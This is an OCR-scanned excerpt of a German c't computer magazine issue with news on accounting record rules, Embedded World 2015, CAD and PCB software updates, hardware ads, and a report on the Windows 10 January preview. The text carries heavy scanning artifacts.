Erstens geht es um die "zeitgerechte Erfas­
sung von Geschäftsvorfä l len" .  B is lang gab 
s ich Vater Staat dazu mit der zitierten Formu­
l ierung zufrieden. Ab jetzt sol len a l le Rech­
nungsforderungen buchungstechn isch fest­
geschrieben werden, d ie  nicht b innen acht 
Tagen beg l ichen worden sind. 

Zweitens gi lt d ie Aufzeichnungspfl icht 
außer fü r steuer l iche und außersteuer l iche 
Unterlagen (etwa fü r staatl iche Förderungen) 
nun auch fü r viele weitere Unterlagen, etwa 
fü r Verfahrensdokumentationen sowie Daten 
zur Zeiterfassung und Warenwi rtschaft 

Drittens ge l ten a l s  Dateien abge legte 
Dokumente fo rta n n u r  noch dann  als vor­
schriftsmäßig unveränderbar, wenn "zusätz­
l i che Maßnahmen ergr iffen werden, d ie  
e ine Unveränderba rkeit gewähr l eisten". Ge­
eignete Maßnahmen könnten nach unserer 
Aus legung darin bestehen, dass man zerti­
fizierte Zeitstempel anbr ingt oder ein Doku­
mentenma nagement-System e insetzt, das 
au ssch l ieß l i ch dokumentierte Änderungen 
du rch autoris ierte Benutzer ermögl icht. 

(hps@ct.de) 

c't Orig ina ldokument ct.de/yn5x 
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• brs zu 28 MB/s leserate 
• bis zu 6.5 MB/s Schreibrate 2 95 
INTENSO RBL 4GB 4 G8 blau ' 
INT ENSO RBL BGB a GB / grOn 3,70 
INTENSO RBL 1 6GB 1 6 G8 / sdlwin 5,95 
INTENSO RBL 32GB 32 GB /  uanspattJlt 1 0,80 
I N T ENSO RBL 64GB 64 GB / orange 1 6,99 

Der ideale Partner lür  Ihr  Smar t­
phons, Tablet oder Ihre Kamera! 

• bis zu 20 MB/s Leserate 
• bis zu 1 2  MBis Schreibrate 

INTENSO 34 1 1 450 
INTENSO 341 1 460 
INTENSO 34 1 1 470 
INTENSO 34 1 1 480 
INTENSO 34 1 1 490 

> bis zu 1 50 MBIVs Datenübertragu ngsrate 

> WPA2-Verschliisselung, WPS kompatibel 
> perfekt für die RASPBERRY Pis 

IJ 
Neueste 
Technik 

�UM 
Top- Pf"eis! 

/ JI:Di MAJt v schalten über IPbane, IPid & Andreld • • . , .... , ·-··· ./Überwachen & Verwaltin Sie Ihren Stremverb raucb ../ IIIIIIIIISCIII Bild Uelli:entrllle 

• automatisierte Berichte zum Stromverbrauch 
& Alarmren.mg per E-Mail bei Limit-Erreichung 

• Echtzeitdaten u nd Ver laufsdaten zum Stromverbrauch 
m i t  Tages-, Wochen- u nd Monatsstatistiken 

2-Bav NAS-Server 
für Heim- und Privatanwenderf 
GenieGen Sie müheloses Teilen von Daten, 
Backups. Multimedia Streaming sowie 
Cloud-Synchroo•S111f1H19 ohne Ihr Budget zu 
uber!;chreiten. Ihre egene CloLJd beg•nnt hier! 
• 1nkl. Gigabii-Eihemet und USB 3.0 
• DIJai-Core CPU fOr eine 

beschleunigte Munimediaveratbeitung 
• bis zu 1 1 1  MBis Lesen und 87 MB/s Schreiben 

• getinger Stromverbrauch von 13 .4 W (Volllast) 
bzw. 5.3 W (Festplatten·Ruhe�ustand) 

0 kostenlose lestversion der Software 

WO SmartWare 1M Pro für  automatisc he 

und Cloud-Datensicherung 
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Embedded World: Im Zeichen des Internet der Dinge 

Die d iesjährige Embedded 
Wor ld i n  Nü rnberg ste l l t  s ich 
sel bstbewusst unter das Motto 
"Wi r sind das I nternet der 
Dinge". Vom 24.  bis zum 26.  Feb­
ruar präsentieren über 900 Aus­
ste l l e r  in fünf Ha l l en  die dazu 
passende Ha rdwa re, Softwa re 
und I nfrastruktur. 

Nebenan g ibt es im  Rahmen 
der Embedded Wor ld Confe­
rence insgesamt 40 Vorträge 
und Workshops unter anderem 
zum obl igatorischen I nternet of 
Thi ngs, aber auch zu Softwa re­
Qual ität und -Mode l l ierung, SeC­
Techn ik, Embedded-Betriebssys-

teme sowie Ris ikomanagement 
fü r Open-Sou rce-Software. Wei­
tere 21 Sessions bietet die E lect­
ronic Disp lays Conference rund 
um Themen wie LCD Perfor­
mance, Touch Screens und 
Mensch-Masch ine-Interfaces. 

Ebenfa l l s  wieder zum Pro­
g ramm gehört der Student Day 
mit Fachvortrag, Messeführung 
und Kontaktbörse zu F i rmen.  
Kostenfreie Tickets kann man sich 
über die Webseite www.embed 
ded-world.de selbst ausdrucken. 
Dort g ibt es auch H i nweise zu 
vergünstigten Zugtickets der 
Deutschen Bahn .  (bbe@ct.de) 

Lange l ieferbar: Hasweii-E-Mainboard 

Nach dem Tick-Tock-Model l  wi rft 
I ntel etwa e inma l  im Jahr  neue 
Produkte auf den Ma rkt. Main­
boards mit l ntels Consumer­
Chipsätzen gehören schne l l  zum 
a lten Eisen und s ind dann nicht 
mehr erhä lt l ich .  Daher baut Fu­
j i t su rund um den Workstation­
Ch ipsatz C61 2 das l ndustrie­
Mainboard D3348-B im ATX-For­
mat, das bis 2021 l ieferba r sein 
so l l .  Technisch entspr icht der 
C6 1 2 weitgehend dem X99. Auf 
das Board passen Prozessoren 

der Bau re ihe Haswei i -E  mit der 
Fassung LGA201 1 v3. Neben 
den eher fü r Spie ler und 
Übertakter gedachten 
Core-i7-Model len g ibt es 
d iese auch a l s  Xeon ES v3 -
ein ige davon auch im Embed­
ded- oder Langzeitprog ramm. 

Das D3348-B i s t  mit  e inem 
Pre is  von 290 Euro nu r  etwas 
teu rer a l s  verg le ichba re Consu­
mer-Boa rds, a l lerd ings  nüchter­
ner aufgemacht. Acht D IMM­
Siots nehmen bis zu 1 28 GByte 

Schnel les Leiterplatten-Design 

l n  der aktue l len Vers ion 1 5 .0. 1 4 
enthä l t  der Alti um  Des igner 
neue Funktionen und zah l reiche 
Feh lerkorrekturen.  Im Bereich 
H igh  Speed Design sind jetzt 
a uch in verzweigten Pfaden so­
genannte xSigna ls verlegbar, das 
s ind Signale mit defin ie rter In­
duktivität und S igna l laufzeit. Au­
ßerdem wurde d ie Berechnungs­
genau igkeit der Signa lpfad län­
gen verbessert. 
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Die Unterstützung des Stan­
dards IDX 2.0 erleichtert den Da­
tenaustausch mit MCAD-Syste­
men. Die vereinfachte Abstim­
mung mechanischer und elektri­
scher Bedürfn isse eines Projekts 
so l l  Entwickl ungszeiten verkür­
zen. Mit Gerber X2 und I PC-2581 
s ind nun zwei weitere, wichtige 
Exportformate fü r die industrie l le 
Leiterplattenproduktion mit an 
Bord. (Mathias Poets/dwi@ct.de) 

Der Altium 
Designer 
unterstützt 
die Opti­
mierung 
von Signal­
laufzeiten.  

' D .. 

� .... ___ s _ _,Jd!· I ""� ' J� 
.....".-_ '-1..--..... .,..:-.._ � �·r-----���----�� 

Wie schon in den vergangenen Jahren l iegen die Hardware-Hal len 
am Rand der Embedded World. Damit stel lt  die Nürnberg Messe 
sicher, dass auch bei den Dienst leistern und Tooi-Herstel lern 
Besucher vorbeikommen. 

Laut Fuj itsu eignet s ich das D3348-B 
mit Server-Ch ipsatz besonders für 

DDR4-Speicher auf. Zwei der vier 
PEG-Siots bieten 1 6  PCie-3.0-
Lanes, der d ritte immer noch vier 
davon und der l etzte steuert 

den Dauerbetrieb. 

noch mal 4 x PCie 2.0 bei . Über 
d ie  beiden Gigabit-Ethernet­
Ports kann  man auch per Fern­
wa rtung (AMT) auf den PC zu­
g reifen .  E in  TPM ist bereits an 
Bord und e in Watchdog-Timer 
löst a utomatisch e inen Reset 
aus, wenn die Softwa re nicht 
mehr reagiert. (bbe@ct.de) 

Keyshot Enterprise in NX integriert 

Unter dem Namen "Enterpr ise 
Edit ion" bietet Luxion eine Kom­
plettversion seines Render ing­
pakets Keyshot an, d ie  außer  
dem Grundpaket a l le  Zusatz­
Funkt ionen und Add- ins um­
fasst, darunter Animation, VR, 
Network Rendering und die I nte­
g rat ion in das CAD-System 
Siemens NX. 

Die F loating-Lizenz des Haupt­
produkts enthä lt den HDRI-Edi­
tor, Ansichten und Szenen, 
NURBS- Import sowie den Export 
in  die Formate OBJ und ZPR. Mit 
H i lfe von Network Rendering las­
sen sich bis zu 32 Cores über das 
Netzwerk zum Berechnen von 
Animationen und VR-Szena rien 
nutzen. (Ra lf Steck/dwi@ct.de) 

-
-

Das Renderingpaket Keyshot lässt sich nun  auch 
in  das CAD-System Siemens NX integrieren. 
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hyperCAD-S mit Volumenmodel i ierung 

Mit hyperCAD-S hat  der CAM­
Spezia l ist Open Mind ein eigenes 
CAD-System im Portfol io, das die 
Ne-Programmierung mit Hyper­
m i l l  ergänzt. Bisher handelte es 
sich um ein reines F lächensystem 
- die meisten CAD-Systeme a r­
beiten jedoch auf Volumenbasis. 
Version 201 4.2 bietet nun auch 
Funktionen zur Vo lumenmodel­
l ierung, d ie sich sowohl  auf eige-

@ Software-Notizen 

Version 7.0 des Platinenlay­
outers DesignSpark bietet 
eine verbesserte Verwa ltung 
von Bautei lnummern und be­
rechnet den optimalen Ver­
lauf von Leiterbahnen vor. 
Außerdem unterstützt das 
kostenlose Prog ramm mit 
ODB++ ein Standa rdformat 
der Leiterplattenproduktion. 

IPEmotion 201 4 R3 erfasst 
Messdaten d rahtlos mit 
H i lfe des Ha rdwaremodu ls  
I PEhub2 des Herste l lers 
I PEmotion. Das hand l iche 
WLAN-Gateway verfügt über 
zwei CAN-Bus-Ei ngänge, 
d ie Messdatenausgabe ist 
über die IPEmotion App 
V02. 1  0 auch unter Android 
ab  Version 4.0 mögl ich. 

Kernig: Parasolid v27.1 

Siemens PLM Software hat den 
Parasel id-Kern aktual isiert, der in  
e iner  Vielzah l  von CAD-Systemen 
und Spezia lanwendungen von 
l ronCAD über VectorWorks bis 
Sol idWerks zum Einsatz kommt. 
Neuerungen im CAD-Kern kom­
men den Anwendern der darauf 
aufbauenden CAD-Systeme zu­
gute, sobald die Entwickler diese in 
ih ren Systemen implementieren. 

Parasol id 27.1 bietet eine ge­
nauere Kontro l l e  über Über­
gangsflächen (Blends), beispiels­
weise Verrundungen. So lassen 
sich Blends mit va riablem Radius 
nun  auch über mehrere Kanten 
hinweg in  einem Durchgang er­
ste l len, was fü r weichere Über­
gänge sorgt. Weitere Optimie­
rungen bilden die Grundlage fü r 
effizienteres Model l ieren, bei­
spie lsweise lassen sich e in ige 
Flächenoperationen nun für meh­
rere F lächen g leichzeitig du rch­
füh ren. (Ra lf Steck/dwi@ct.de) 
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ne a ls  auch auf importierte Geo­
metrien anwenden lassen. Das 
System ermögl icht d i rektes Mo­
de l l ieren, Konstruktionsh istorie 
oder Abhängigkeiten müssen 
nicht berücksichtigt werden. 

Bei der Auswahlfi l terung fü r 
Flächen und Kurven kann hyper­
CAD-S nun  begrenzte, tangen­
tia le, koaxia le und koplanare Flä­
chen ebenso in  einem Schritt am 

gesamten Model l auswählen wie 
Fasen und Verrundungen. Das er­
leichtert dem CAM-Programmie­
rer Änderungen an CAD-Model­
len, etwa beim Erzeugen von Mit­
teltaleranzen oder Ankonstruk­
tionen sowie bei der Konstruktion 
von Spannwerkzeugen oder Vor­
richtungen. 

Mit einer neuen Zonen-Funk­
tion lassen sich benutzerspezifi-

sehe Features an legen. Die Zonen 
kann man transformieren, kopie­
ren, löschen und als benutzerde­
finierte Auswah l  speichern. Volu­
mina bearbeitet hyperCAD-S mit 
baaleschen Operationen. Fea­
tu res lassen sich unter anderem 
du rch Löschen, Neudefinit ion, 
Spiegel n, Extrahieren, und Mus­
tererzeugung verändern. 

(Ra lf Steck!dwi@ct.de) 

Qua l ityHosting 

� h a re Po i nt ''-iliillliil� 

On l i n e-S pe iche r, 
F i l e  S h a ri ng & meh r 

Mit Hosted SharePoi nt 2013 von Q u a l ityHosting w i rd d i e  effiziente Zusa m mena rbeit 

intern und extern Wirk l ic h keit .  Sie bea rbeiten Dok u m e nte i m mer auf dem neuesten 
Stand,  a u c h  von unterwegs. Sie best i m me n , wer E i nsicht u n d  Bea rbeitungsrechte hat, 

S ie  ge nießen d e n  Abgleich mit O utlook a u f  a l len Endge räten u .v. m . 

Hosted i n  Germa ny 
Cloud-Lösungen seit 1998 www.qua l ityhost ing.d e  





die aktuel le Vorabversion von Windows 1 0: Er 
zeigt, welche Neuerungen dr in stecken und 
welche noch fehlen, zudem gibt er Tipps, wie 
Sie die Vorabversion gefahrlos ausprobieren 
können. Der Artikel auf Seite 58 widmet sich 
der woh l  coolsten unter den Ankünd igun­
gen:  der Ho loLens-Bri l l e .  Der Arti ke l  a uf 
Seite 60 beschreibt, was von Spie lkonsole bis 
Wandtafel sonst noch a l les Windows wird. 

"Mobi le  Experience" 

Microsoft wi l l  Windows vorbereiten fü r eine 
Welt, i n  der d ie Anzah l  der Geräte d ie Zah l  
de r  Menschen übersteigt. Das Zie l :  Nachdem 
die Geräte immer mobi ler wurden, so l l  nun  
das  "Benutzerer lebnis" mob i l  werden. Wenn 
man vom Desktop-PC zum Smartphone oder 
Tablet wechselt, so l l  man künftig einfach da 
weitermachen können, wo man gerade auf­
gehört hat. Die Daten sol len von a l len Gerä­
ten aus g leichermaßen verfügbar  sein, a l l e  
wichtigen Anwendungen übera l l  vorhanden 
und d ie E inste l l u ngen synchron se in .  Ver­
knüpft werden die Geräte mit dem Microsoft 
Account, synchronis iert wi rd via OneDrive. 

Als erste Beispie le fü r solch geräteüber­
g reifendes Arbeiten nannte Microsoft d ie di­
gita le  Assistentin Cortana, aber auch Skype, 
Outlook, Xbox l live und den Windows Store. 
Ein weiterer Baustein ist "Conti nuum", d ie  
Anpassung der Bed ienung auf 2-i n- 1 -Gerä­
ten beim Wechsel von Maus- zur Touch-Be­
d ienung.  

Microsoft i s t  s ich du rchaus bewusst, dass 
Mobi le Experience hohe Anforderungen an  
den  Datenschutz ste l lt . Windows-Chef Terry 
Myerson betonte immer wieder, dass man 
hart daran arbeite, dass die Kunden Windows 
vertrauen können. Deta i l s  zur "Ha rdware-ba­
s ierten Sicherheit" wurden kaum verraten .  
Cortana immerh in sol l  nicht nur  lernen, son­
dern auch wieder vergessen können. 

"Wi ndows as a Service" 

Damit d ie  Mobi le  Experience Wirkl i chkeit 
werden kann, müssen a l l e  Windows-Geräte 
auf dem g leichen Stand sein - würden neu 
e ingefüh rte Funkt ionen beispie lsweise nu r  
auf dem Smartphone, aber  n icht auf dem 
Desktop zu r  Verfügung stehen, wäre d ie Mo­
b i le  Experience schne l l  ru in iert. Also muss 
Microsoft neue Funktionen künftig auf a l len 
Geräteklassen g le ichzeitig zur  Verfügung 
ste l len .  Und das so l l  mögl ichst schne l l  ge­
schehen: Die Anwender, so Microsofts Mar­
ket ing, erwa rte e in "konti nu ier l icher Strom 
an  Innovationen". 

Dass Windows zu "Windows as a Service" 
wird, so l l  künftig wie bei I nternet-Diensten 
dazu führen, dass niemand mehr nach Versi­
onsnummern fragt. Bei e inem On l i ne-Ma i i ­
Dienst oder  e iner  Suchmasch ine interessiert 
sich niemand für Versionen, neue Funktionen 
werden eingebaut, soba ld sie fertig sind, und 
stehen dann sofort a l len Nutzern zur Verfü­
gung.  Und so sol l es bei Windows auch pas­
sieren. Die I nfrastruktur existiert schon lange: 
d ie automatischen Updates. 
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Koste n l os(?) 

Im  ersten Jahr wi l l  Microsoft Windows 1 0 an 
a l le Besitzer von Windows 7, 8 . 1  und Phone 
8 . 1  kosten los abgeben. Die Enterprise-Ver­
s ionen s ind ausgenommen. Die Lizenz g i l t  
ansch l ießend fü r d ie Lebenszeit des  Geräts, 
auf dem sie i nsta l l iert ist, sie wird a l so nicht 
nach einem Jahr i n  e in  Abo umgewande l t  
oder anderweitig kostenpfl icht ig .  Denkba r 
ist aber auch, dass man vor dem Download 
zustimmen muss, dass d ie neue Version die 
a l te ersetzt. Damit könnte Microsoft so man­
che bis lang unbegrenzt gü lt ige Lizenz plötz­
l ich an die Lebenszeit der Ha rdware koppeln. 
Lesen Sie a l so, wenn es so weit ist, vor dem 

Microsoft-Chef Satya Nadel la hat sich 
Großes vorgenommen: "Our ambition is 
for you to Iove Windows." 

Down load die Lizenzbestimmungen gut 
du rch, denn da sie (anders a l s  be i  e iner  erst 
bei der I nsta l lation sichtbaren EULA) bereits 
vor dem Down load bekannt sind, wären sie 
rechtl ich wirksam, wenn Sie zustimmen. 

Der Umstieg von Windows 7, 8 . 1  und 
Phone 8 . 1  auf das neue Windows, so ver­
spricht Microsoft, erfordert keine Neuinsta l­
lat ion. Er so l l  a ls Upgrade-l nsta l lat ion ge l in­
gen, bei der a l l e  Daten, Anwendungen und 
E inste l l ungen erhalten ble iben. 

F reem i u m  

Auch wenn Microsoft b is lang kaum Deta i l s  
über  d ie Windows-Verkaufsmode l le  der Zu­
kunft verraten hat, lassen sich aus dem bis­
lang Erzäh lten doch ein ige Vermutungen ab­
leiten. Zusammenfassung:  Als Nadel la antrat 
mit dem Motto "Cioud fi rst, mobi le  fi rst", 
dü rfte er damit unter anderem die Ablösung 
von Windows a ls Microsofts Ge lddruckma­
sch ine gemeint haben. Windows wi rd statt­
dessen der Tre ibstoff fü r d ie  neuen Geld­
druckmasch inen.  

Denn es l iegt auf der Hand, dass Windows 
1 0 nicht nu r  im ersten Jahr  kosten los sein 
wird, sondern dauerhaft, zumindest die Basis­
version fü r Privatanwender: Wenn der Funk­
tionsumfang der Desktop-Variante den ande­
ren h interherh inken würde, wei l  d ie  Nutzer 
kein  Geld dafü r  zah len wol len, dü rfte das 
dem P lan im Wege stehen, dass d ie  Nutzer 

Report I Windows 1 0  

die Mobi le Expience erleben und l ieben sol­
len. Womög l ich sol len die Nutzer stattdessen 
Abos fü r zusätzl iche Funktionen abschl ießen, 
d ie sie dann auf al l i h ren Geräten nutzen kön­
nen, so wie sie heute schon monatl ich Geld 
zah len können etwa fü r Office 365 und zu­
sätzl ichen Speicherplatz im OneDrive. 

Auch Firmenkunden dü rften vieles künftig 
nur noch im Abo bekommen, etwa Unterneh­
mens-Funktionen oder Support. Unter dem 
Namen "Software Assu rance" bietet Microsoft 
fü r F i rmen ja schon seit Jahren Abos an, i n  
denen Betriebssysteme entha lten s i nd .  Mög­
l icherweise bittet Microsoft auch F i rmen zur 
Kasse, d ie nur die Sicherheitsupdates wol len, 
d ie neuen Funktionen hingegen ausd rücklich 
n icht, um sich den Aufwand zu spa ren, a l l e  
paa r  Monate wieder a l les neu  du rchzutesten. 
Vorbereitet auf so eine Lang-Term-Support­
Funktion ist d ie Vorabversion von Windows 
1 0 bereits, man kann sepa rat einste l len, wie 
schnel l  neue Funktionen kommen. 

Und weiter 

Verd ienen wi l l  Microsoft a uch mit dem App­
Store. Entwickler versucht man mit der Aus­
sicht auf e ine Zukunft zu ködern, i n  der sie 
nur noch eine einzige App schreiben müs­
sen, d ie dann auf a l len Geräten von rund 1 ,5 
M i l l ia rden Windows-Anwendern läuft. Denn 
d ie s ind ja dank "Windows as a Service" a l l e  
auf dem g le ichen Stand .  E ine weitere E in ­
nahmeque l le  i s t  Werbung, w ie  Microsoft ge­
genüber c't bestätigte. Das ist nicht überra­
schend, die Kachei-Apps unter Windows 8.1 
zeigen ja heute schon welche. Microsoft wi l l  
aber ausd rückl ich nicht d i e  Daten de r  Nutzer 
verkaufen. Terry Myerson betonte als Seiten­
hieb auf Goog le, Facebook und Co: "You a re 
our  customer, not our  product" - eine weite­
re Bitte um Vertrauen. 

Unkla r  ist, ob d ie PC-Herste l le r  weiterh in 
fü r Lizenzen zahlen müssen. Bei  kleinen, b i l l i ­
gen Geräten ist das heute schon nicht mehr 
der Fa l l ,  Windows 8.1 mit Bing rückt Microsoft 
kosten los raus, unter anderem, weil d ie Ch ro­
mebook-Konkurrenz d rängt. Fü r  teu re Geräte 
h ingegen zah len die OEMs vermutl ich auch 
in  Zukunft Lizenzgebühren, a l le in schon aus 
der Angst heraus, dass d ie Kunden sonst zu 
den PCs der Konku rrenz greifen, wei l  sie dort 
kein Betriebssystem insta l l ieren müssen. 

Als Nebeneffekt ist "Windows as a Service" 
das Ende des Support-Endes:  Das Theater 
des XP-Support-Endes im letzten Jahr d roht 
zwar noch mal  2020 (Windows 7) und 2023 
(Windows 8.1  ), doch danach nie wieder. Das 
wäre ein weiterer Baustein auf dem Weg zu 
" Ih r  sollt es l ieben." (axv@ct.de) 

Al les wi rd Windows 

Die Januar-Vorabvers ion S. 54 

Das HoloLens-Projekt S. 58 

Was noch a l l es Windows wird S. 60 
c'l: 
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Ha l b zeh n  
E i n  B l ick a u f  d i e  J a n u a r-Preview vo n Windows 1 0  

So langsam fügt sich das Bi ld zusammen: Die Januar-Vorabversion 
zeigt e in paar mehr Puzzlestücke, die erahnen lassen, was Microsoft 
mit Windows 1 0 vorhat. 

A l s  Microsoft im Oktober d ie erste Techni­
ca l Preview von Windows 1 0  veröffent­

l ichte, h ie lten sich d ie Neuerungen der Be-

Startmenü 

Das Sta rtmenü wurde abermals übera rbeitet. 
Auf der l i nken Seite zeigt es E i nträge fü r 
"Orte" und d ie am häufigsten verwendeten 
Programme und auf der rechten Seite Ka­
che ln .  Unter "Al l e  Apps" s ind Modern-U I -
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dieneberfläche in  Grenzen: Es gab vor  a l lem 
ein neuartiges Sta rtmenü, das Kacheloberflä­
che und Windows-7-Gefüh l  vere inen so l l te. 

Apps und konventione l le Desktop-Program­
me nicht mehr getrennt aufbewahrt. Per 
Kl ick auf d ie Maximieren-Scha l tfläche lässt 
sich das Sta rtmenü aufvo l le  Bi ldschirmgröße 
strecken.  Wer viele Kache ln im Blick haben 

Seitdem s ind vier Monate vergangen, d ie Mi­
crosoft offenbar mit i ntensiver Baste lei ver­
bracht hat, denn in der Ende Januar  veröf­
fent l ichten Vers ion mit der  Bu i ld -Nummer 
9926 g ibts reich l ich offene Baustel len.  

l n  den kommenden Wochen und Mona­
ten wi l l  Microsoft weitere Preview-Bui lds mit 
Verbesserungen und mehr Neuerungen ver­
öffentl ichen. Windows Update sorgt dann fü r 
d ie Verte i lung der neuen Featu res an beste­
hende Preview-l nsta l lat ionen. Sogar ein Up­
g rade auf das fertige Windows 1 0  sol l  später 
ohne Neu insta l lat ion mögl ich sein - das ist 
e in Novum. 

wi l l ,  bekommt auf d iese Weise e inen besse­
ren Überbl ick. Diese Da rste l l ung beerbt d ie 
aus  Windows 8 .x bekannte Sta rtseite, l ässt 
die Taskleiste dabei aber eingeblendet. 

Abgesehen von der maximierten Da rste l­
lung ist d ieses Sta rtmenü im Verg leich zu frü­
heren Vorabausgaben etwas sperriger: Seine 
Höhe und Breite lassen sich nicht mehr ein­
ste l l en .  Außerdem sch rumpft es n icht auf 
e ine Spa lte, wenn man sämtl iche Kache ln 
rauswi rft - es gähnt ein großer, leerer Kasten .  
Bis zur Veröffentl ichung e ines fert igen Win­
dows 1 0  dü rften d ie Entwickler das a l le r­
d ings noch ändern.  (jss@ct.de) 

Startmenü 

'W so l l  Windows-7-Sta rtmenü und Windows-8-
Sta rtseite vereinen, indem es sich auf vo l le  
Bi ldsch i rmgröße maxi mieren lässt; momen­
tan noch klar im Betastad ium 

spätestens mit dem fertigen Windows 1 0  

Sta rtmenü + Maximiertunktion = 

Sta rtseite. Die Taskleiste bleibt sichtbar. 
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Die neuen "Pe-Einstel lu ngen" 

Seit  Windows 8 hat d ie  klassische System­
steuerung eine Entsprechung im Modern-U I­
Design  namens PC-Einste l l ungen. i n  der Ja­
nua r-Preview trägt sie noch den engl ischen 
Namen Setti ngs. Microsoft hat das Aussehen 
sta rk übera rbeitet und d ie Ausstattung er­
weitert. 

Was a l lerdings bleibt, ist der unterschied l i­
che Funktionsumfang im Verg leich zur Sys­
temsteuerung: So ist etwa Windows Update 
nur noch in  den Settings entha lten, während 
nur die klassische Systemsteuerung Energ ie­
spar-Einstel lungen im Deta i l  ändern kann. Der 
Umbau der Settings lässt a l lerdings erahnen, 
dass sie in  Zukunft die a lthergebrachte Sys­
temsteuerung ablösen könnten - bis dahin ist 
der Weg a l lerd ings noch weit. Oss@ct.de) 

Wi-Fi Sense 

in der WLAN-Liste verbirgt s ich h inter dem 
Knopf "Bekannte Netzwerke verwa lten" die 
Funktion Wi-Fi Sense. B isher wa r s ie nur in 
Windows Phone verfügbar; Wi ndows 1 0  
übernimmt sie fü r PCs mit WLAN-Schn ittstel­
le . Wi-Fi Sense sol l  das Verbinden mit WLAN­
Hotspots er leichtern: Es erkennt die Hotspots 
von Providern am Funknetznamen (ESS ID) .  
E inma l  a n  e inem Hotspot angemeldet, 
n immt es später automatisch Kontakt mit an­
deren Hotspots desse lben Setreibers a uf. 

Cortana 

Sie i s t  i n  a l ler Munde, bekommt ihn  hierzu­
lande aber selbst noch nicht auf: Cortana, die 
d ig ita le  Assistent in .  B is lang ist s ie nur auf 
e in igen eng l ischen Windows Phones an­
sprechbar. Sie kann ähn l ich wie Goog le Now 
oder Apples Sir i  etwa Termine an legen, über 
das Wetter und über Sportergebnisse infor­
mieren und im Web suchen. Über Cortanas 
i nteg riertes "Notebook" kann der Anwender 
zudem sei ne gewünschten Themen vorge­
ben, verwa lten und löschen. 

in der deutschen Januar-Preview br ingt 
ein K l ick auf das Suchfeld in  der Taskleiste zu­
nächst nur  den H inweis, dass Cortana h ierzu­
lande noch nicht verfügbar ist. Man kann  sie 
aber auf Eng l isch testen .  Dazu muss i n  den 
Sett ings unter "Zeit & Sprache I Reg ion und 
Sprache" erstens d ie Region auf "Verein igte 
Staaten" e ingeste l l t  und zweitens die Spra­
che "Eng l i sh (Un ited States)" i nsta l l iert und 
a l s  pr imäre Sprache festgelegt se in .  Nach 
e inem K l i ck  ins  Suchfe ld lässt s i ch  Cortana 
aktivieren. 

in der  Praxis erweist s ich d ie  eng l i sche 
Desktop-Cortana a l s  l aunisch: E ine Sprach­
eingabe wie "Show me my documents from 
January" l ieferte ma l  e ine Bing-Suche nach 
dem e ingesprochenen Satz, ma l  e ine Feh­
lermeldung mit dem H inweis, man so l l e  es 
bitte etwas später noch ma l  versuchen, ma l  
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Umfang der klassischen Systemsteuerung. 

Leider warnt Windows 1 0  nur en passant, 
wenn WLAN-Hotspots unversch lüsselt a rbei­
ten, damit s ich Mobi lgeräte verbinden kön­
nen, ohne dass man einen Sch lüssel e inge­
ben muss. S innvo l l e rweise ste l l t  es dabei  
den Netzwerktyp von sel bst auf "Öffent l ich", 
was eventue l l  e inger ichtete F re igaben ab­
schaltet. 

lässt sich deaktivieren, nicht aber etwas an­
deres: Ist Wi-F i  Sense eingeschaltet, meldet 
das Notebook seine Position stets an  Micro­
soft. (ea@ct.de) 

Wie Goog le mit Android sammelt Micro­
soft nebenbei die gesehenen WLANs, um so 
eigene Abdeckungska rten zu erste l len .  Das 

Wi-Fi  Sense 

'w a utomatische Verb indung m it WLAN-Hot­
spots 

in der Januar-Preview entha lten 
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Cortana öffnet auf "Open my pictures folder!" nicht di rekt den Bi lderordner, 
sondern sucht ein paar Bi lder von der Festplatte und aus OneDrive zusammen. 

eortana ein Vertrösten a uf kommende Aktua l is ie­
rungen, und  mit sehr viel G l ück tatsäch l ich 
das gewü nschte Ergebnis :  e ine Aufl i s tung 
von im  Januar  erste l l ten Doku menten.  
Dabei hapert es n icht a n  der  Qua l ität der  
Spracherkennung .  l n  a l len Fä l len hat Cor­
tana d ie e ingesprochenen Befeh le  bestens 
verstanden .  Oss@ct.de) 

V persö n l iche  d igita le Assistent in,  d ie  Informa­
t ionen via natür l iche Spracheingabe suchen, 
fi ltern u n d  a n legen kön nen sol l ;  ka n n  noch 
kei n  Deutsch u n d  ist auf  E n g l isch etwas 
sperrig 

spätestens mit dem fertigen Windows 1 0  
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Continuum S�rn b o l l ei sten ) 

� Tas.ka n s i c ht-Sch altW i c h e  anzei gen 

Syrn b o l l e i sten Suchen ) 

Fenster l iberle� ppen 

Der Name Conti nuum bezeichnet Funktio­
nen, mit denen Microsoft d ie Bedienung von 
2-i n- 1 -Geräten komfortab ler  machen wi l l ,  
a lso Tablets, d ie s ich mit einer Tastatur erwei­
tern lassen wie etwa Microsofts Su rface 
Pro 3.  Das woh l  prominenteste Feature dabei 
ist die Erkennung des Andockens einer Tas­
tatur. Windows 1 0  fragt dann, ob es in einen 
Tablet-Modus wechse ln  sol l .  Bestät igt man 
das, werden a l le App- und Programmfenster 
sowie das Sta rtmenü im Vol l bi ldmodus dar­
geste l l t - und umgekehrt, wenn man die Tas­
tatur wieder abklemmt. 

� Tas k a n s i c ht-Sc h a ltfl ä c h e  a nzeigen fenster geste�p elt anzeigen 

Windows 1 0  erkennt, 
ob der Nutzer ein 
Kontextmenü per 
Touchscreen oder 
per Mausklick öffnet, 
und passt die 
Darste l lung an. Fenster nebenei n a n d er anzei gen 

Suchen Desb-top ;;,r1Zei gen 

Jask -Manager 

F enster ü b erl a p p en 
� Tas k l ei ste fi�eren 

Fen ster g estap elt a nzei gen 
Eigenschaften 

F enster neb enei n a n d er anzeigen 

Windows 1 0  erkennt - bisher nu r  in der  
Taskle iste - ob e in Kontextmenü v ia  Maus­
kl ick oder per Touch aufgerufen wird. l n  letz­
terem Fa l l  verg rößert sich der Abstand zwi­
schen den Menüeinträgen, damit  s ie treff­
s icherer anwäh lba r  s ind .  Diese Erkennung 
klappte im Test m i t  e inem Su rface P ro  3 un­
abhäng ig  davon, ob es abgedockt oder  im 
Tablet-Modus war. Uss@ct.de) 

EdgeHTML 

� 

Des ktop a nzei gen 

Tas k- M a n a g er 

Task le i ste fixieren 

E i g en s c h aften 

Continuum 
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  

'II sol l  Touch- und M a usbedienung komfortabel 
r Microsofts Abkehr  vom 
separaten Bedienober-

vereinen; Beleg fü 
Konzept der zwei 
flächen in Windo ws 8 zugu nsten einer einzi­

it dynamischer An passung gen Oberfläche m 

spätestens mit de m fertigen Windows 1 0  

Die Browser-Neuerungen der Technica l  
P review hat Microsoft gut  versteckt. So ist  
d ie neue Rendering Engine EdgeHTML zwa r 
bereits im I nternet Explorer enthalten. Man 
